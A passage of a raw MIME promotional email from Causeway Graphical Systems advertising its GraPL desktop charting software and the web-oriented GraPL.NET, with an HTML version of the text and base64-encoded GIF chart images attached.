trial copy now from http://www.grapl.com/download/, or browse
http://www.grapl.com/desktop/ for more information.

      GraPL.NET
      unleashes the power of GraPL on the Internet and your Intranet. Using
GraPL.NET you can add powerful GraPL charts to your website. Generate
dynamic VML/SVG or PNG charts based on your data, all from simple ASP
scripts.

      For more information visit http://www.grapl.com/net/




--------------------------------------------------------------------------

      If you would prefer not to receive any more e-mails from Causeway
Graphical Systems Ltd, please send an email to StopBotheringMe@grapl.com and
we will remove you from our mailing list.



------=_NextPart_001_0002_01C14079.BFCC1CD0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE></TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV align=3Dleft>
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
  <TBODY>
  <TR>
    <TD width=3D"100%">
      <DIV><A href=3D"http://www.grapl.com/">
      <H2 style=3D"MARGIN-TOP: 0pt; MARGIN-BOTTOM: 3pt"><FONT =
face=3DArial=20
      color=3D#003e00>GraPL &amp; GraPL.NET</FONT></A></H2><A=20
      href=3D"http://www.grapl.com/">
      <H2 style=3D"MARGIN-TOP: 0pt; MARGIN-BOTTOM: 3pt"><FONT =
face=3DArial=20
      color=3D#003e00 size=3D4>Great&nbsp;business&nbsp;&amp; scientific =
charts have=20
      never been so easy</FONT></H2></A><FONT color=3D#006600>
      <P style=3D"MARGIN-TOP: 0pt; MARGIN-BOTTOM: 3pt"><A=20
      href=3D"http://www.grapl.com/desktop/"><FONT face=3DArial><IMG=20
      style=3D"WIDTH: 216px; HEIGHT: 162px" alt=3D"Oil production chart" =
hspace=3D10=20
      src=3D"cid:964243918@18092001-2675" align=3Dright =
border=3D0></FONT></A><FONT=20
      face=3DArial>Have you ever wanted to produce a chart for a report, =

      presentation, or website, and found that the tools you had were =
hard to=20
      use, produced ugly charts, or couldn't summarise your data in the =
way you=20
      wanted?</FONT></P>
      <P style=3D"MARGIN-TOP: 0pt; MARGIN-BOTTOM: 3pt"><FONT =
face=3DArial>If so you=20
      need GraPL. GraPL lets you produce charts quickly and easily from =
your=20
      data. We have been developing the charting engine for the past 10 =
years,=20
      and it is currently used across a large range of industry, =
including food,=20
      electricity generation, banking, aerospace, government statistics, =

      healthcare, insurance and academia worldwide.</FONT></P>
      <P style=3D"MARGIN-TOP: 0pt; MARGIN-BOTTOM: =
3pt"></P></DIV></FONT></TD></TR>
  <TR>
    <TD width=3D"100%"><FONT color=3D#006600>
      <H2 style=3D"MARGIN-TOP: 6pt; MARGIN-BOTTOM: 3pt"><A=20
      href=3D"http://www.grapl.com/"><FONT face=3DArial color=3D#004200=20
      size=3D3>GraPL</FONT></A></H2>
      <P style=3D"MARGIN-TOP: 0pt; MARGIN-BOTTOM: 3pt"><A=20
      href=3D"http://www.grapl.com/net/"><FONT face=3DArial><IMG=20
      style=3D"WIDTH: 216px; HEIGHT: 162px" alt=3D"UK Interest rate =
chart" hspace=3D10=20
      src=3D"cid:964243918@18092001-267c" align=3Dright =
border=3D0></FONT></A><FONT=20
      face=3DArial>is the easiest way yet to create good-looking charts =
on your=20
      PC. It combines a powerful&nbsp;charting engine, and data analysis =
suite=20
      with an easy to use office style interface. This lets you generate =
clear=20
      professional charts that stand out from the crowd.</FONT></P>
      <P style=3D"MARGIN-TOP: 0pt; MARGIN-BOTTOM: 3pt"><FONT =
face=3DArial>Import=20
      data from your spreadsheet or database, and moments later you can =
have a=20
      chart ready for your report or presentation. Download your free =
trial copy=20
      now from </FONT><A href=3D"http://www.grapl.com/download/"><FONT =
face=3DArial=20
      color=3D#003e00>http://www.grapl.com/download/</FONT></A><FONT =
face=3DArial=20
      color=3D#006600>, or browse </FONT><A=20
      href=3D"http://www.grapl.com/desktop/"><FONT face=3DArial=20
      color=3D#003e00>http://www.grapl.com/desktop/</FONT></A><FONT =
face=3DArial=20
      color=3D#006600>&nbsp;for more =
information.</FONT></P></FONT></TD></TR>
  <TR>
    <TD width=3D"100%"><FONT color=3D#006600>
      <H2 style=3D"MARGIN-TOP: 6pt; MARGIN-BOTTOM: 3pt"><A=20
      href=3D"http://www.grapl.com/net/"><FONT face=3DArial =
color=3D#003e00=20
      size=3D3>GraPL.NET</FONT></H2></A>
      <P style=3D"MARGIN-TOP: 0pt; MARGIN-BOTTOM: 3pt"><FONT =
face=3DArial><IMG=20
      style=3D"WIDTH: 98px; HEIGHT: 78px" alt=3Dwww.grapl.com =
hspace=3D10=20
      src=3D"cid:964243918@18092001-2683" align=3Dright =
border=3D0>unleashes the power=20
      of GraPL on the Internet&nbsp;and your&nbsp;Intranet. Using =
GraPL.NET you=20
      can add powerful GraPL charts to your website. Generate dynamic =
VML/SVG or=20
      PNG charts based on your data, all from simple ASP =
scripts.</FONT></P>
      <P style=3D"MARGIN-TOP: 0pt; MARGIN-BOTTOM: 3pt"><FONT =
face=3DArial>For more=20
      information visit </FONT><A =
href=3D"http://www.grapl.com/net/"><FONT=20
      face=3DArial =
color=3D#003e00>http://www.grapl.com/net/</FONT></A></P></FONT>
      <P>&nbsp;</P></TD></TR>
  <TR>
    <TD width=3D"100%"><FONT color=3D#006600><FONT face=3DArial>
      <HR>
      </FONT>
      <P><FONT face=3DArial color=3D#006600 size=3D2>If you would prefer =
not to=20
      receive any more e-mails from Causeway Graphical Systems Ltd, =
please send=20
      an email to <A href=3D"mailto:StopBotheringMe@grapl.com"><FONT=20
      color=3D#008000>StopBotheringMe@grapl.com</FONT></A>&nbsp;and we =
will remove=20
      you from our mailing=20
list.</FONT></P></FONT></TD></TR></TBODY></TABLE></DIV></BODY></HTML>

------=_NextPart_001_0002_01C14079.BFCC1CD0--

------=_NextPart_000_0001_01C14079.BFC90F90
Content-Type: image/gif;
	name="oil.gif"
Content-Transfer-Encoding: base64
Content-ID: <964243918@18092001-2675>

R0lGODlh2ACiAPcAAAQCBGyChDxCRMTCvCQiJDRiZJyinGwiHKRiXKSCfDwSDOTi5IRCPIQyLDRy
fHySlNTS1LSytBQSFCxSVGRiZIwqJHRydCwyLMTGzFwaFCQKBCxqbJyanGyGjLRybHwqJOzy7LS6
tDRKTMSqpIRSTJSalFwyNBwKBEwaFIQ6NFRSVNTCxFwmJHwiHLSKhJSSlJwuJMzOzERqbIyKjCxi
bKyqrJRqbEwWFFRydNTa3HR6dFweHLyWlMy6vBQGBISKhOzq7KQyLBwaHDw6PNTKzCQKDHSOlKR+
fPz6/ExKTJRaVDxmbFx2fHyCfDxGRLzCxCwqLJSipKSGhEQSFJxORJQ2NISWnLS2tCxaZGxqbIwu
LCxqdFQ6NFxaXHwmJCxmbKRubLyenDQODAQGBHQmJOTm5JRCPIw2LISWlNTW1DQSDJQuJJRydDQy
NMTKzFweFHyKjKx2dIQuLPTy9Ly6vCxOVMSqrJxWVAwKDIQ+PMzGxFQuLLyOjIyWnJwuLExudJRu
bIyepGR+hGxybHx6fISChLyanJReXKSipEw6PLSCfJQ6NMzO1GweHLR+fLSGhKxmXFQ2NNze3My+
vCwODMTGxCxeZJxGPCQmJBQWFGRmZHR2dJyenFRWVHwmHJSWlIyOjKyurOzu7BweHDw+PPz+/ExO
TFx6fCwuLEQWFGxubCxudFxeXDQ2NPT29Ly+vAwODHx+fISGhKSmpAwCBERCRHQiHEQSDOzi5Iwy
LISSlNzS1LyytJQqJDRqbHSGjIQqJMyqpFQaFLyKhExqbDRibFQWFNza3GQeHBwGBNzKzCwKDHyO
lERGRMTCxLy2tIQmJDRmbMSenMzKzGQeFLR2dDROVKRWVNTGxFwuLKQuLJxubNS+vDReZBJL/wAA
f2BthPu77BLoEgB3AEU0bpDru/sS6HcAd4AAAB8AAPgAAHcAAP+wbv+Fu/9L6P8Ad+AA+OoAHxIA
GAAAAMQAg9AAwegAQ3cAAAAAhAAA7BMAEgAAAAAAhAAA7AAAEgAAACH5BAAAAAAALAAAAADYAKIA
Bwj/ACPEYBSjoMGDCBMqXMiwocOHECNKnEixosWLBeksWBAqVASPID+KDElypMmSKE+qTMlypcuW
MF/KjElzps2aOOdUksSpy4sXoH4GBSq0KNGjQ5MaVYp0qdOmUJlKfTo1KtWrVrNW3YqVq9autWJU
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

------=_NextPart_000_0001_01C14079.BFC90F90
Content-Type: image/gif;
	name="interest.gif"
Content-Transfer-Encoding: base64
Content-ID: <964243918@18092001-267c>

R0lGODlh2ACiAPcAAAQCBOSCJJSSlOzKpNTS1NyaXORuBPTq3KyurERCROSeXMzKzNyORLSytOSu
fGRiZCQiJNze3PTavPTy9Ly+lOyqbOTi5OTOvNyaVOSGNOR6HHRydOy+lBQSFOzq7FRSVDQyNPTm
1NzCpKSipOzOtNymbOS2jOTWzISChOSWVLy+vOy2hOzWvNyOPOR2FOymZOSWTNyyhOzi1OTazPz6
9Hx6dOTWxAwKDJyanOzKrNza1OR2DOzq5Ny6lExKTOyiZOSSTOSyfGxqbCwqLOSqdOyaVNyKPNx+
JOzGnBwaHPTy7FxaXDw6POzGpIyKjOSCLORuDOSiXNzWzOSSRLy6vPT29OTm5OSeVOS+nOzu7Ozm
3KyqrOzStMTGxOzi3PTizHx6fPTWxPTu5Oy6lOyudAQGBJSWlPTKpNTW1OSaXERGRMzOzOSORLS2
tOyufGRmZCQmJOTe3PTaxOSaVOSKNOR+HHR2dBQWFFRWVDQ2NOTCpKSmpOSmbISGhMTCxPTWvOSO
PPTezPz6/Nza3OzCnAwODJyenOzOrExOTGxubCwuLBweHFxeXDw+PIyOjOSGLORyDHx+fPTi1OzW
xPTq5OS6lOyyfOyqdOSKPOR+JPTGpOyiXPz29Ozm5PTu7PTm3PTStAATAADpAMB3AAAAAAAAAAAA
AAAAAP8A7v8AtP8A6P8Ad/9APf+SAP8TAP8AAABf/wAV/wDp/wB3/wAmPQAUAADpAAB3AAA0bADr
7wASEgAAAABeAAAVABPpAAB3AGQAPAAA7AAAEgAAAABfrpIVdRPpSQB3APgAHAsA7OkAEncAABZL
OwCcdgAAS8AAAAE4UOrs7BISEgAAAACIAAEVAADpAAB3AKSUwem17BJLEgAAAGCYwfu1/xJL/wAA
f2BehPsV7BLpEgB3AKc0X53rFfsS6XcAd5AAACYAAPgAAHcAAP+wX/+FFf9L6f8Ad+AACOrroBIS
GwAAAPqAgwOjwekTQ3cAAAAAhAAA7BMTEgAAAACMhADr7AASEgAAACH5BAAAAAAALAAAAADYAKIA
Bwj/ADcYGmhoREEcBkcgPJjQEMKFBgsONLhw4USCDilG1JixY0WFIDtKlNgw4cOQKBmShKjSZEmW
IE+2bHmyZsybNnPi3CkzZUhDdgxRaIBmxB6jR/ckTWq0qdKnSKM+nSp16tKqVqlaRapUqlOsWq92
HSu2bFWwUMmizcq2rdu3W9U+9bDFghUEjh4IcLS3L9+/fgMDHiy4MOHDhgsnRsx4sePGkB9Ljkx5
cuAEXfaoWNDAyZYqgkCLDk16tOnSqE+rTs16terRrWO7lk17tu3auG/rzi0okZ8Rfro0cLSH9+7j
xmmXRs48efPnzqO73pB5c+fP0mk0r/0ctmjo4KWL/w9PPvQGP5o5E0+OAwdoAQ08JLIiCIGQCKGt
CMlCOnSVLhNo1x9oghS4GgEWsLbcAjwUSBoNggg43oTlVUiheV2MYJ1nzL3xRmiMOGIFBINQsQgC
pFkxwgQTVJFFgAskQV8VHrRYxQRZVOEifzfW6KIiC4jGYo4TeKCEIB7cESSNE4SWhQc6QmjhlBdS
eVsiGfqhXnHIvSEEaIw4YQEECHTAZWgWqOEBI2+oAcIajJThgwUfMPGBB3uooUgbAjDBRANW+MBE
HmsIUMYQaIDmBCJwLIBHIyB00QcAIFjASCNqDOJHHnZ6UOWnVoIqG3UacsahcR6G9oATVtyRRB52
jP82yCIe5LHBBAkI4McdHtSARxZ4OOFIEn6s0QEaJiKQxBaGLJAFHGuIlsgQBESwxyAJ2OFBGQSM
wIQVNTwgRCNUmGFBqOiKGiqWwAm3HnJCPBDaEiLece0ifpA2a61mCIKHAF10kMUHILzxrwCNTLBA
IQ8w4oMVkQwBgRNZQECAaBswUgUBjeAxRCIe3EBAH3C8scQGgzywyBAqqOtyulNSl95w2B23RxJ7
bJFEG2Pi1wcTLQqybx7uLQFwByP7MAh1CFdhQRIqNIACFYygYUfCELQRdCIaO9HIIEyAXIYKe4BA
gBMI9IHCII2gIOXLcMMcHbvBDXfmbhN43YgjRTL/cq4HS/hRBQ0WLJFFIij2gYAHD6iRhR1MbJDF
FhuARkUjPnSRBRiNfBAtCkxcLIgZTggSwQcfOIGCIBuoEYETTDxgxSCMMCEElHHnLjdy7Fr3rnE6
hhd0gKw1CVrQx7/t2nfL6e787rmRWvepyD1vPfTYX3/ezL8fZ+H14GcvfmrSd4FXzbxVOf764YPf
u6no64YGgt6hRhry9rfP/v66b19397gBwxrAkIUuECALa7CCCgaRhQZkQYEW6EME1kAFhTlrECrQ
kf42yD8rkcp38auNHVQwtT0IgApH6cIW+uCHPvThbH2wQAPMoBQzpG0LbeCgDjt4Ibq56264iYQF
/xrYACqogAACmEAEwNAFKpTOEWaIgBlwYAYqNMAQTjAgD7e4w/HIzHdAvM0WQuMBMwhgEBGwgAD2
